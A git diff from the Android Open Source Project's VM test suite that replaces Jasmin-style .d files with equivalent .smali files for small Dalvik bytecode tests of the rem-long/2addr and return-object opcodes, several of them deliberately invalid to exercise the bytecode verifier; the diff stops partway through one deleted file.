diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali
new file mode 100644
index 0000000..0df591f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       rem-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.d
deleted file mode 100644
index 2d0d1c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_4.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       rem-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali
new file mode 100644
index 0000000..1394f8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       rem-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.d
deleted file mode 100644
index 7d4ed96..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_5.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JF)J
-.limit regs 14
-
-       rem-long/2addr v11, v13
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali
new file mode 100644
index 0000000..d1a310f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)J
+.registers 14
+
+       rem-long/2addr v11, v13
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.d
deleted file mode 100644
index 8952ae1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_rem_long_2addr_6.java
-.class public dot.junit.opcodes.rem_long_2addr.d.T_rem_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       rem-long/2addr v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali
new file mode 100644
index 0000000..730be9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_long_2addr/d/T_rem_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       rem-long/2addr v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.d
deleted file mode 100644
index b537c47..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_1.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 3
-
-       const-string v1, "hello"
-       return-object v1
-.end method
-
-.method public run2()Ljava/lang/Object;
-.limit regs 3
-       return-object v2
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali
new file mode 100644
index 0000000..5f4cc9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_1.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_1.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 3
+
+       const-string v1, "hello"
+       return-object v1
+.end method
+
+.method public run2()Ljava/lang/Object;
+.registers 3
+       return-object v2
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.d
deleted file mode 100644
index 66e762a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_10.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const v1, 123
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali
new file mode 100644
index 0000000..7ba1b11
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_10.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const v1, 123
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.d
deleted file mode 100644
index c632133..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_11.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const-wide v1, 123
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali
new file mode 100644
index 0000000..389d4bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_11.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       const-wide v1, 123
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d
deleted file mode 100644
index ea4c11a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_12.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test()Ldot/junit/opcodes/return_object/d/TSuper;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/return_object/d/TChild
-       invoke-direct {v1}, dot/junit/opcodes/return_object/d/TChild/<init>()V
-       return-object v1
-.end method
-
-.method public run()Z
-.limit regs 4
-
-       invoke-direct {v3}, dot/junit/opcodes/return_object/d/T_return_object_12/test()Ldot/junit/opcodes/return_object/d/TSuper;
-       move-result-object v2
-       instance-of v0, v2, dot/junit/opcodes/return_object/d/TChild
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.smali
new file mode 100644
index 0000000..5c2f076
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_12.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_12;
+.super Ljava/lang/Object;
+.source "T_return_object_12.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Ldot/junit/opcodes/return_object/d/TSuper;
+    .registers 5
+
+    new-instance v1, Ldot/junit/opcodes/return_object/d/TChild;
+
+    invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TChild;-><init>()V
+
+    return-object v1
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 4
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_12;->test()Ldot/junit/opcodes/return_object/d/TSuper;
+
+    move-result-object v2
+
+    instance-of v0, v2, Ldot/junit/opcodes/return_object/d/TChild;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d
deleted file mode 100644
index 4cae4ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_13.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test()Ldot/junit/opcodes/return_object/d/TInterface;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/return_object/d/TChild
-       invoke-direct {v1}, dot/junit/opcodes/return_object/d/TChild/<init>()V
-       return-object v1
-.end method
-
-.method public run()Z
-.limit regs 4
-Label0:
-
-       invoke-direct {v3}, dot/junit/opcodes/return_object/d/T_return_object_13/test()Ldot/junit/opcodes/return_object/d/TInterface;
-       move-result-object v2
-       instance-of v2, v2, dot/junit/opcodes/return_object/d/TChild
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.smali
new file mode 100644
index 0000000..a0c683b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_13.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_13;
+.super Ljava/lang/Object;
+.source "T_return_object_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Ldot/junit/opcodes/return_object/d/TInterface;
+    .registers 5
+
+    new-instance v1, Ldot/junit/opcodes/return_object/d/TChild;
+
+    invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TChild;-><init>()V
+
+    return-object v1
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 4
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_13;->test()Ldot/junit/opcodes/return_object/d/TInterface;
+
+    move-result-object v2
+
+    instance-of v2, v2, Ldot/junit/opcodes/return_object/d/TChild;
+
+    return v2
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d
deleted file mode 100644
index cff2b12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_14.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test()Ldot/junit/opcodes/return_object/d/TChild;
-.limit regs 6
-
-    new-instance v0, dot/junit/opcodes/return_object/d/TSuper
-    invoke-direct {v0}, dot/junit/opcodes/return_object/d/TSuper/<init>()V
-
-    return-object v0
-.end method
-
-
-.method public run()Z
-.limit regs 6
-
-    invoke-direct {v5}, dot/junit/opcodes/return_object/d/T_return_object_14/test()Ldot/junit/opcodes/return_object/d/TChild;
-    move-result-object v1
-
-    instance-of v0, v1, dot/junit/opcodes/return_object/d/TChild
-
-    return v0
-
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.smali
new file mode 100644
index 0000000..a1396b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_14.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_14;
+.super Ljava/lang/Object;
+.source "T_return_object_14.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private test()Ldot/junit/opcodes/return_object/d/TChild;
+    .registers 6
+
+    new-instance v0, Ldot/junit/opcodes/return_object/d/TSuper;
+
+    invoke-direct {v0}, Ldot/junit/opcodes/return_object/d/TSuper;-><init>()V
+
+    return-object v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 6
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_14;->test()Ldot/junit/opcodes/return_object/d/TChild;
+
+    move-result-object v1
+
+    instance-of v0, v1, Ldot/junit/opcodes/return_object/d/TChild;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.d
deleted file mode 100644
index 29377fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_15.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_15
-.super java/lang/Object
-.implements dot/junit/opcodes/return_object/RunnerGenerator
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ldot/junit/opcodes/return_object/Runner;
-.limit regs 5
-
-       new-instance v1, dot/junit/opcodes/return_object/d/TSuper2
-       invoke-direct {v1}, dot/junit/opcodes/return_object/d/TSuper2/<init>()V
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali
new file mode 100644
index 0000000..6331169
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_15.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_15.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_15;
+.super  Ljava/lang/Object;
+.implements  Ldot/junit/opcodes/return_object/RunnerGenerator;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ldot/junit/opcodes/return_object/Runner;
+.registers 5
+
+       new-instance v1, Ldot/junit/opcodes/return_object/d/TSuper2;
+       invoke-direct {v1}, Ldot/junit/opcodes/return_object/d/TSuper2;-><init>()V
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.d
deleted file mode 100644
index 0b8dc5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_16.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_16.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_16
